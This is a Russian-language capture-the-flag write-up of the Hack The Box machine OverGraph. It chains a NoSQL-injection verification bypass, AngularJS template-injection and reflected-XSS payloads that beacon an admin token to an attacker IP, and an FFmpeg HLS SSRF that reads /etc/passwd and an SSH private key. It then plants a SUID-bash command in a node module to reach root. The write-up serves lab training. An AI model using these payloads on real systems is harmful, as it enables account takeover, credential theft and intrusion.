March 12

ВЗЛОМ HTB OverGraph. Извлекаем данные через цепочку Open Redirect, RXXS и CSTI

RalfHacker

В этом рай­тапе мы с тобой про­ведем мно­жес­тво ска­ниро­ваний цели, что­бы опре­делить точ­ки вхо­да, порабо­таем с GraphQL, про­экс­плу­ати­руем цепоч­ку уяз­вимос­тей Open Redirect, Reflected XSS и CSTI для кра­жи админ­ско­го токена. Затем получим дос­туп к хос­ту, про­читав SSH-ключ через SSRF в FFmpeg. Все это — в рам­ках про­хож­дения слож­ной машины OverGraph с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.157 overgraph.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

От­кры­то два пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Nginx 1.18.0. Nmap показал нам, что выпол­няет­ся редирект на адрес http://graph.htb. Тоже добав­ляем этот адрес в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb

Глав­ная стра­ница http://graph.htb

Сайт ока­зал­ся однос­тра­нич­ным, поэто­му нуж­но най­ти новые цели для тес­тирова­ния.

Сканирование веб-контента

Поп­робу­ем поис­кать скры­тые катало­ги и фай­лы при помощи ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

И не находим ничего инте­рес­ного, даже в фай­ле server-status. Поэто­му поп­робу­ем прос­каниро­вать под­домены, для чего сно­ва будем исполь­зовать ffuf. К парамет­рам добавим заголов­ки -H и --fs, это поможет отсе­ять стра­ницы по раз­меру.

ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И находим новый под­домен internal. Добав­ляем его в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb

Но, открыв сайт в бра­узе­ре, сра­зу натыка­емся на фор­му авто­риза­ции.

Фор­ма авто­риза­ции http://internal.graph.htb

Так как всю работу про­водим через Burp, то обна­ружим в Burp History обра­щение еще к одно­му домену — internal-api.graph.htb.

Ло­ги Burp History

До­бав­ляем еще одну запись в файл /etc/hosts и затем откры­ваем стра­ницу /graphql.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb

Глав­ная стра­ница сай­та http://internal-api.graph.htb

На стра­нице исполь­зует­ся GraphQL. Это язык зап­росов, с помощью которо­го кли­ент­ские при­ложе­ния работа­ют с дан­ными. «Схе­мы» GraphQL поз­воля­ют орга­низо­вывать соз­дание, чте­ние, обновле­ние и уда­ление дан­ных в при­ложе­нии. Давай получим дан­ные __schema и отфиль­тру­ем наз­вания типов, это мож­но сде­лать, передав в парамет­ре query сле­дующий зап­рос:

{__schema{types{name,fields{name}}}}

От­вет сер­вера
От­вет сер­вера (про­дол­жение)

На этом пока все, но мы еще не ска­ниро­вали катало­ги на новом домене. Поп­робу­ем сде­лать это. Но, как толь­ко мы обра­тим­ся к любой стра­нице, получим ответ, что зап­росы GET не под­держи­вают­ся. Поэто­му будем ска­ниро­вать зап­росом POST. А так как на домене кру­тит­ся API, то и исполь­зовать будем соот­ветс­тву­ющий сло­варь.

ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt

Ре­зуль­тат ска­ниро­вания API с помощью ffuf

И находим три новые стра­ницы, с которы­ми нач­нем работу.

ТОЧКА ВХОДА

Итак, мы име­ем сле­дующие API:

  • register — для регис­тра­ции поль­зовате­ля;
  • verify — пред­положи­тель­но для про­вер­ки при регис­тра­ции;
  • code — пока непонят­но, но, ско­рее все­го, для про­вер­ки кода, отправ­ленно­го на email.

Я начал со стра­ницы /api/register. Переда­ем наибо­лее веро­ятные парамет­ры: имя поль­зовате­ля, пароль и адрес элек­трон­ной поч­ты.

{ "username":"ralf", "email":"[email protected]", "password":"ralf"}

По­пыт­ка регис­тра­ции поль­зовате­ля

Но в ответ нам говорят, что у нас невер­ный email или он не верифи­циро­ван. Это инте­рес­но, так как у нас оста­ется все­го две стра­ницы для регис­тра­ции. Видимо, стра­ница /api/code нуж­на для получе­ния кода. Отпра­вим туда свой email.

{ "email":"[email protected]"}

По­луче­ние кода

И нам сооб­щают, что четыре циф­ры были отправ­лены на ука­зан­ный поч­товый ящик. По тес­товому сооб­щению на стра­нице /api/verify узна­ем, что вмес­те с поч­той нуж­но при­сылать и код.

Зап­рос к /api/verify

Я поп­робовал переб­рать этот код с помощью Burp Intruder, бла­го ком­бинаций все­го 10 000. Но уже на одном из пер­вых зап­росов все лома­ется, так как мы пре­выси­ли количес­тво попыток!

Со­обще­ние о пре­выше­нии количес­тва зап­росов

Я очень дол­го про­сидел на этом эта­пе — приш­лось даже про­сить под­сказ­ки у дру­зей. Мне посове­това­ли углу­бить­ся в механизм про­вер­ки кода. Тог­да, пот­ратив еще нем­ного вре­мени, я нашел NoSQL-инъ­екцию, которая поз­воля­ет верифи­циро­вать поч­ту, пре­дос­тавляя неп­равиль­ный код. В дан­ном зап­росе мы получим положи­тель­ный резуль­тат, если код не равен 0000.

{ "email":"[email protected]", "code":{ "$ne":"0000" }}

Ве­рифи­кация поч­ты

При­ходит под­твержде­ние того, что поч­та верифи­циро­вана. Пов­торим регис­тра­цию и получим сооб­щение, что пароль и его под­твержде­ние не сов­пада­ют.

По­пыт­ка регис­тра­ции поль­зовате­ля

Тог­да я переп­робовал раз­ные име­на поля под­твержде­ния пароля и опре­делил, что в дан­ном слу­чае под­ходит confirmPassword.

Ре­гис­тра­ция поль­зовате­ля

И акка­унт соз­дан! Перей­дем к фор­ме авто­риза­ции на вто­ром домене и авто­ризу­емся.

Глав­ная стра­ница http://internal.graph.htb

А во вхо­дящих находим сооб­щение от поль­зовате­ля Sally.

Вхо­дящие сооб­щения

Нас про­сят прис­лать ссыл­ку. Поп­робу­ем открыть локаль­ный сер­вер и ски­нуть ссыл­ку на него. В ито­ге при­ходит зап­рос.

Ло­ги веб‑сер­вера Python 3

Да­вай пос­мотрим, как это мож­но исполь­зовать.

ТОЧКА ОПОРЫ

Ес­ли еще раз взгля­нуть на стра­ницу, мож­но заметить над меню над­пись null null. В исходном коде есть отсылка к нашему поль­зовате­лю. А в локаль­ном хра­нили­ще бра­узе­ра (F12 → Application) най­дем запись, что это firstname и lastname.

Ис­ходный код стра­ницы
Ло­каль­ное хра­нили­ще бра­узе­ра

Пе­рей­дем в нас­трой­ки про­филя и уви­дим то же самое, толь­ко с воз­можностью изме­нить эти зна­чения.

Стра­ница Profile

CSTI

Над­пись null null натол­кну­ла меня на мысль об исполь­зовании шаб­лонов. Давай про­ведем базовый тест.

Но­вые зна­чения име­ни поль­зовате­ля
Отоб­ражение име­ни поль­зовате­ля

Как мож­но уви­деть, вмес­то вве­ден­ной стро­ки получа­ем резуль­таты выраже­ний, а зна­чит, есть уяз­вимость в шаб­лонах! Вот толь­ко в локаль­ном хра­нили­ще эти зна­чения хра­нят­ся, как и вво­дились. Зна­чит, шаб­лон работа­ет на кли­ент­ской сто­роне, а это уже путь для CSTI — инъ­екции шаб­лонов на сто­роне кли­ента.

Ло­каль­ное хра­нили­ще бра­узе­ра

Так­же я обра­тил вни­мание на параметр admin со зна­чени­ем false. Я изме­нил на true и перезаг­рузил стра­ницу. В меню появи­лась гра­фа Uploads.

Из­менен­ное меню

Толь­ко вот фор­ма заг­рузки не дает заг­рузить файл. Если вер­немся к нашей схе­ме GraphQL, то можем пос­мотреть на необ­ходимые парамет­ры, к при­меру adminToken.

Па­рамет­ры из схе­мы GraphQL

Та­ким обра­зом, нам нужен adminToken поль­зовате­ля Sally. Но получить его неп­росто. Тут появил­ся сле­дующий план: если зас­тавим целево­го поль­зовате­ля выпол­нить зап­рос на сме­ну име­ни (по ссыл­кам же он перехо­дит!), то в качес­тве нового име­ни уста­новим наг­рузку CSTI, переда­ющую нам adminToken. В исходни­ках видим исполь­зование AngularJS.

Ис­ходный код стра­ницы

AngularJS — это популяр­ная биб­лиоте­ка JavaScript, которая ска­ниру­ет HTML на пред­мет тегов с атри­бутом ng-app (дирек­тива AngularJS). Ког­да дирек­тива добав­ляет­ся в тег, появ­ляет­ся воз­можность выпол­нять выраже­ния JavaScript в двой­ных фигур­ных скоб­ках.

Уяз­вимость Template Injection воз­ника­ет, ког­да при­ложе­ние, исполь­зуя какой‑нибудь шаб­лониза­тор, динами­чес­ки внед­ряет поль­зователь­ский ввод в веб‑стра­ницу. Ког­да стра­ница отоб­ража­ется, фрей­мворк ищет в стра­нице шаб­лонное выраже­ние и выпол­няет его. Основное отли­чие CSTI от SSTI зак­люча­ется в том, что при CSTI мы можем добить­ся лишь выпол­нения про­изволь­ного кода на JavaScript. Две самые популяр­ные наг­рузки для CSTI в AngularJS:

{{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}

Но­вое имя поль­зовате­ля

Об­новля­ем стра­ницу и пер­вым делом видим окош­ко алер­та.

Вы­зов alert(1) при заг­рузке стра­ницы

А теперь поп­робу­ем эксфиль­тро­вать токен, для чего соз­дадим у себя в хра­нили­ще тес­товый.

Ло­каль­ное хра­нили­ще бра­узе­ра

В качес­тве наг­рузки будем исполь­зовать зна­мени­тый сти­лер, который похища­ет дан­ные через кар­тинку, а дос­туп к хра­нили­щу получим через window.localStorage.

{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}

Об­новля­ем стра­ницу и в логах локаль­ного веб‑сер­вера находим зна­чение тес­тового токена.

Ло­ги веб‑сер­вера

Наг­рузка для эксфиль­тра­ции готова, теперь раз­берем­ся, как под­сунуть поль­зовате­лю наш код.

Open Redirect

Я сно­ва прос­мотрел все сай­ты и на самом глав­ном домене нашел что‑то вро­де редирек­та.

Код глав­ной стра­ницы http://graph.htb

Ес­ли сущес­тву­ет GET-параметр redirect, то фун­кция window.location.replace уста­новит в качес­тве содер­жимого текущей стра­ницы код, взя­тый по ссыл­ке из redirect. Бла­го мы можем вста­вить вмес­то URL код на JavaScript:

http://graph.htb/?redirect=javascript:alert(1)

Вы­пол­нение кода через JavaScript URL

Ос­талось разоб­рать­ся с дан­ными, которые отправ­ляют­ся для изме­нения име­ни поль­зовате­ля.

GraphQL

В Burp History най­дем зап­рос, которым мы изме­нили собс­твен­ное имя.

Зап­рос на изме­нение про­филя

Один из парамет­ров — id поль­зовате­ля, а это нем­ного усложня­ет задачу. Сно­ва вер­немся к GraphQL и пос­мотрим, какой из типов содер­жит поле Assignedto.

Тип task

Нас инте­ресу­ет тип task, который мы можем получить зап­росом tasks.

Тип Query

Та­ким обра­зом, нам нуж­но выпол­нить зап­рос tasks с парамет­ром username, в котором мы переда­дим имя поль­зовате­ля Sally. Нас инте­ресу­ет толь­ко поле Assignedto.

graphql

query task{

task(username:"Sally"){

<wbr></wbr>Assignedto

}

}

ID поль­зовате­ля Sally

Reflected XSS

Мы получи­ли ID целево­го поль­зовате­ля, поэто­му можем соб­рать XSS-наг­рузку. Наша наг­рузка с помощью XMLHttpRequest выпол­нит POST-зап­рос на http://internal-api.graph.htb/graphql и передаст наг­рузку CSTI как параметр firstname:

var req = new XMLHttpRequest();req.open('POST', 'http://internal-api.graph.htb/graphql', false);req.setRequestHeader("Content-Type","text/plain");req.withCredentials = true;var body = JSON.stringify({ operationName: "update", variables: { firstname: "{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}", lastname: "sally", id: "62ee9709c53e9f1214e1af5e", newusername: "sally" }, query: "mutation update($newusername: String!, $id: ID!, $firstname: String!, $lastname: String!) {update(newusername: $newusername, id: $id, firstname: $firstname, lastname:$lastname){username,email,id,firstname,lastname,adminToken}}"});req.send(body);

Сна­чала я хотел передать ее в редирек­тор по такой схе­ме:

javascript:eval(atob(_URL_encode(_BASE64_encode(payload))))

Но это не сра­бота­ло. Тог­да я записал наг­рузку в отдель­ный файл на локаль­ном веб‑сер­вере и заг­рузил уда­лен­но, исполь­зуя встав­ку кода фун­кци­ей document.body.innerHTML:

javascript:document.body.innerHTML+='<script src="http://10.10.14.123:8000/t.js"></script>'

Не­обхо­димо закоди­ровать эту наг­рузку в кодиров­ку URL и отпра­вить ссыл­ку поль­зовате­лю в чате:

http://graph.htb/?redirect=javascript:document.body.innerHTML%2b%3d'<script+src%3d"http://10.10.14.123:8000/t.js"></script>'

Даль­ше механизм сра­бота­ет так:

  1. Поль­зователь перехо­дит по ссыл­ке.
  2. Че­рез редирект с нашего веб‑сер­вера заг­ружа­ется JS-скрипт с наг­рузкой.
  3. Наг­рузка отправ­ляет зап­рос на изме­нение про­филя и уста­нав­лива­ет дру­гую наг­рузку CSTI.
  4. При обновле­нии стра­ницы наг­рузка CSTI извле­кает adminToken из локаль­ного хра­нили­ща и отправ­ляет его на наш сер­вер.
Ло­ги локаль­ного веб‑сер­вера

По­луча­ем adminToken и про­буем отпра­вить любой из пред­ложен­ных фай­лов.

Фор­ма заг­рузки фай­ла

По­яви­лось сооб­щение, что файл заг­ружен, а зна­чит, мы получи­ли нуж­ный токен. Про­дол­жаем тес­тирова­ние.

ПРОДВИЖЕНИЕ

На­бор при­нима­емых фор­матов фай­лов натол­кнул меня на мысль об исполь­зовании FFmpeg — я с ним уже стал­кивал­ся в подоб­ных ситу­ациях. Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS готовые экс­пло­иты. Поищем в интерне­те на сай­тах вро­де HackerOne, exploit-db, а так­же GitHub. Находим под­ходящий экс­пло­ит на HackerOne.

По­иск экс­пло­итов в Google

FFmpeg, если ты вдруг про него не слы­шал, — это мощ­ней­ший опен­сор­сный инс­тру­мент для пре­обра­зова­ния видео. В него вхо­дит нес­коль­ко биб­лиотек:

  • libavcodec — биб­лиоте­ка аудио- и виде­око­деков, которая исполь­зует­ся во мно­гих ком­мерчес­ких и бес­плат­ных про­дук­тах;
  • libavformat — биб­лиоте­ка муль­тип­лекси­рова­ния и демуль­тип­лекси­рова­ния кон­тей­неров аудио/видео;
  • ffmpeg — прог­рамма для коман­дной стро­ки, которая запус­кает опе­рации над виде­офай­лами.

SSRF

Для экс­плу­ата­ции под­делки зап­росов на сто­роне сер­вера (SSRF) нам прос­то нуж­но заг­рузить файл .avi с внед­ренны­ми HLS-дирек­тивами (спи­сок вос­про­изве­дения) внут­ри.

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://[наш сервер] #EXT-X-ENDLIST

Пос­ле заг­рузки фай­ла с таким содер­жимым мы прос­то получим зап­рос на свой сер­вер. User-Agent будет иметь вер­сию упо­мяну­той биб­лиоте­ки libavformat.

LFR

Для экс­плу­ата­ции уяз­вимос­ти локаль­ного чте­ния фай­лов (LFR) нуж­но помес­тить на сво­ем сер­вере спе­циаль­ный файл и ссы­лать­ся на него внут­ри видео, которое яко­бы будет заг­ружать­ся. Содер­жимое фай­ла header.m3u8:

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://[наш сервер]?

А теперь, что­бы получить пер­вую стро­ку из фай­ла /etc/passwd, заг­ружа­емый AVI дол­жен иметь сле­дующее содер­жимое:

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://[наш сервер]/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

FFmpeg HLS SSRF

Про­ект FFmpeg-HLS-SSRF поз­волит нам получить весь файл целиком. Заг­ружа­ем его на сер­вер:

python3 server.py --external-addr 10.10.14.123 --port 8000

Пос­ле это­го соз­дадим файл AVI со сле­дующим содер­жимым:

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://10.10.14.123:8000/initial.m3u?filename=/etc/passwd #EXT-X-ENDLIST

Это поможет нам извлечь файл /etc/passwd. Пос­ле того как сер­вер выдаст ошиб­ку, его мож­но оста­новить.

Ошиб­ка сер­вера

В катало­ге сер­вера най­дем файл с эксфиль­тро­ван­ными дан­ными.

Со­дер­жимое фай­ла /etc/passwd

Из фай­ла узна­ем о поль­зовате­ле user. Поп­робу­ем получить его при­ват­ный ключ SSH.

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://10.10.14.123:8000/initial.m3u?filename=/home/user/.ssh/id_rsa #EXT-X-ENDLIST

Со­дер­жимое фай­ла id_rsa

Те­перь оста­лось разоб­рать­ся с его фор­матиро­вани­ем. Я открыл соз­данный файл в hex-редак­торе и опре­делил, что вмес­то сим­вола перево­да стро­ки исполь­зует­ся null-байт.

Файл id_rsa в hex-редак­торе

За­меним null-байт сим­волом \n и сох­раним уже с нор­маль­ным фор­матиро­вани­ем.

SSH-ключ поль­зовате­ля

Ко­ман­дой chmod 0600 id_rsa наз­нача­ем нуж­ные фай­лу пра­ва и под­клю­чаем­ся по SSH.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­нем катало­ге поль­зовате­ля, кро­ме фай­ла с фла­гом, находим еще и каталог с каким‑то при­ложе­нием на Node.js.

Со­дер­жимое катало­га onegraph

Про­веряя прос­лушива­емые пор­ты, находим типич­ный для веба порт 8080, который открыт для локаль­ного хос­та.

netstat -tlpn

Прос­лушива­емые пор­ты

Про­верим най­ден­ное при­ложе­ние. Для это­го нуж­но будет про­кинуть порт 8080 на свой хост с помощью SSH.

ssh -L 8081:127.0.0.1:8080 -i id_rsa [email protected]

Та­ким обра­зом, весь тра­фик, который мы пош­лем на локаль­ный порт 8081, будет тун­нелиро­ван на порт 8080 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH-хост.

От­вет сер­вера

Но при­ложе­ние нам отве­чает уже зна­комым отве­том. Я про­верил наличие извес­тных катало­гов, к при­меру /graphql.

Стра­ница /graphql

И это тот же API, c которым мы работа­ли рань­ше. Толь­ко в дан­ном слу­чае мы име­ем дос­туп к исходным кодам. При­чем наш поль­зователь — вла­делец боль­шинс­тва фай­лов, что дает нам воз­можность записы­вать свой код! Поч­ти во всех фай­лах под­клю­чает­ся и исполь­зует­ся модуль mongoose, как и в addUser.js.

Ис­ходный код addUser.js

Соз­дать файл в текущем катало­ге мы не можем, но можем перей­ти к самому модулю в катало­ге node_modules.

Со­дер­жимое катало­га /node_modules/mongoose

Файл index.js слу­жит толь­ко для под­клю­чения модулей из катало­га lib.

Со­дер­жимое фай­ла index.js и катало­га lib

В фай­ле addUser.js исполь­зовал­ся имен­но модуль connection, поэто­му вне­сем изме­нения в файл connection.js. В самом начале под­клю­чим модуль child_process.

const { exec } = require("child_process");

Ис­ходный код connection.js

А в конс­трук­торе клас­са Connection вызовем фун­кцию exec, куда переда­дим коман­ду наз­начения S-бита фай­лу коман­дной обо­лоч­ки bash.

exec("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash", (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`);});

Ис­ходный код connection.js

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Флаг рута

Мы получа­ем дос­туп от име­ни рута, а зна­чит, машина зах­вачена!